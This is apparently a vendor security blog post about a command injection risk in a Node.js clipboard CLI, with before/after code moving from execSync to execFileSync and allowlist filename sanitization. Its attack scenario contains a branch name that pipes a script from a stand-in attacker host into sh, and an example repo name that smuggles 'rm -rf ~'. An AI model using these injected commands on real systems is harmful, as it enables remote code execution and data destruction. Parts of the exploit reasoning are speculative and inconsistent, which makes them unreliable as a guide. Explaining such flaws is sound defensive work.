How Command Injection via execSync() Happens in Node.js CLI Tools and How to Fix It
Introduction
The packages/core/bin/cli.js file implements a CLI tool that generates ASCII tree representations of GitHub repositories and copies them to the system clipboard. A critical flaw in the copyToClipboard function at line 162 created a command injection vector: it used Node.js's execSync() to invoke clipboard utilities (pbcopy, clip, xclip) through a shell. Combined with lax filename sanitization in the getCache and saveCache functions, an attacker who could influence repository data—such as crafting malicious file or folder names with shell metacharacters—could execute arbitrary commands on any developer's machine running this tool.
This vulnerability is particularly dangerous because the package is a Node.js library consumed by downstream developers. Every user who runs this CLI and copies output to their clipboard is exposed.
The Vulnerability Explained
Let's look at the vulnerable code:
function copyToClipboard(text) {
// Zero-dependency clipboard logic
if (process.platform === 'darwin') {
execSync('pbcopy', { input: text });
} else if (process.platform === 'win32') {
execSync('clip', { input: text });
} else {
execSync('xclip -selection clipboard', { input: text });
}
}
The core issue is that execSync() spawns a shell (/bin/sh -c "..." on Unix, cmd.exe /c "..." on Windows) to interpret the command string. While the text content is passed via the input option (stdin), the command string 'xclip -selection clipboard' is parsed by the shell.
Now consider the cache functions:
function getCache(repo, branch) {
const file = path.join(cacheDir, `${repo.replace(/\//g, '_')}_${branch}.json`);
// ...
}
The original sanitization only replaced forward slashes (/) with underscores. A malicious repository name like user/repo; rm -rf ~ or a branch name containing backticks would pass through with shell metacharacters intact. If these values ever flow into a shell context or influence the ASCII tree output that gets copied, command injection becomes possible.
Attack Scenario
- An attacker creates a GitHub repository with a branch named
`curl attacker.com/shell.sh|sh` - A developer uses this CLI tool to generate a tree of that repository
- The ASCII tree output includes the malicious branch name
- When
copyToClipboardis called, if any part of the pipeline involves shell interpretation of that data, the injected command executes - The attacker's payload runs with the developer's full user privileges
Even in the simpler case, the xclip -selection clipboard string being passed through a shell is unnecessary attack surface. If the PATH environment variable is manipulated or if there's any way to influence which binary xclip resolves to in a shell context, exploitation becomes trivial.
The Fix
The fix addresses both the shell injection vector and the path traversal/injection risk in cache filenames:
Change 1: Replace execSync with execFileSync
Before:
import { execSync } from 'child_process';
// ...
function copyToClipboard(text) {
if (process.platform === 'darwin') {
execSync('pbcopy', { input: text });
} else if (process.platform === 'win32') {
execSync('clip', { input: text });
} else {
execSync('xclip -selection clipboard', { input: text });
}
}
After:
import { execFileSync } from 'child_process';
// ...
function copyToClipboard(text) {
// Zero-dependency clipboard logic (use execFileSync to avoid shell injection)
if (process.platform === 'darwin') {
execFileSync('pbcopy', [], { input: text });
} else if (process.platform === 'win32') {
execFileSync('clip', [], { input: text });
} else {
execFileSync('xclip', ['-selection', 'clipboard'], { input: text });
}
}
execFileSync does not spawn a shell. It executes the binary directly, passing arguments as an array. The -selection and clipboard arguments are passed as separate array elements, so shell metacharacters in any surrounding context are never interpreted. There's no shell to exploit.
Change 2: Strict allowlist sanitization for cache filenames
Before:
const file = path.join(cacheDir, `${repo.replace(/\//g, '_')}_${branch}.json`);
After:
const file = path.join(cacheDir, `${repo.replace(/[^a-zA-Z0-9._-]/g, '_')}_${branch.replace(/[^a-zA-Z0-9._-]/g, '_')}.json`);
Instead of only replacing /, the fix uses an allowlist regex that strips everything except alphanumeric characters, dots, hyphens, and underscores. This eliminates shell metacharacters (;, `, $, |, (, ), etc.) from ever reaching the filesystem or downstream processing. The same sanitization is applied to both repo and branch parameters.
Prevention & Best Practices
-
Never use
execSync()orexec()in Node.js when you can useexecFileSync()orspawn(). The shell-free alternatives eliminate an entire class of injection attacks. -
Use allowlist validation for user-influenced strings. The pattern
/[^a-zA-Z0-9._-]/gis a safe default for filenames—strip anything that isn't known-safe rather than trying to blocklist dangerous characters. -
Apply defense in depth. Even though
inputpasses data via stdin (not the command string), removing the shell eliminates the attack surface entirely. Don't rely on a single layer. -
Audit all
child_processusage. Run a simple grep:grep -rn "execSync\|exec(" --include="*.js"to find all shell-spawning calls in your codebase. -
Use ESLint security plugins. The
eslint-plugin-securitypackage flagschild_processcalls that use shell strings. -
Consider the supply chain. This is a library—every downstream consumer inherits its vulnerabilities. Library authors bear extra responsibility for secure defaults.
Key Takeaways
execSync('xclip -selection clipboard')spawns a shell that can interpret metacharacters—even when data is passed viainput, the shell invocation itself is unnecessary attack surface thatexecFileSync('xclip', ['-selection', 'clipboard'])eliminates entirely.- Replacing only
/in repository names (repo.replace(/\//g, '_')) leaves shell metacharacters like;,`,$, and|intact—an allowlist regex is the only safe approach for constructing filesystem paths from external data. - Node.js CLI tools that process GitHub repository metadata must treat repo names and branch names as untrusted input—attackers can craft these to contain arbitrary characters.
- The
child_processmodule's API design makes insecure usage the path of least resistance—execSyncis simpler to write thanexecFileSyncwith argument arrays, so teams should lint for it proactively. - Both the clipboard function AND the cache functions needed fixing—command injection often requires closing multiple gaps, not just patching the obvious sink.
How Orbis AppSec Detected This
- Source: Repository and branch name data from GitHub API responses, flowing through
getCache(),saveCache(), and ultimately into the ASCII tree output passed tocopyToClipboard() - Sink:
execSync('xclip -selection clipboard', { input: text })inpackages/core/bin/cli.js:168 - Missing control: No shell avoidance (execFileSync) and no allowlist sanitization on repository/branch names used in cache paths and clipboard content
- CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Replaced
execSync()withexecFileSync()to bypass the shell entirely, and applied strict allowlist regex sanitization to cache filename components
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability demonstrates how a seemingly simple clipboard utility function can become a critical attack vector. The combination of execSync() with shell strings and insufficient input sanitization created a path from attacker-controlled GitHub repository metadata to arbitrary command execution on developer machines. The fix is straightforward—use execFileSync() with argument arrays and validate inputs with allowlist regexes—but the lesson is broader: every child_process call in a Node.js application should be treated as a potential injection point and audited accordingly.
If you maintain a Node.js CLI tool or library, audit your child_process usage today. Replace execSync and exec with their shell-free counterparts wherever possible. Your users' machines depend on it.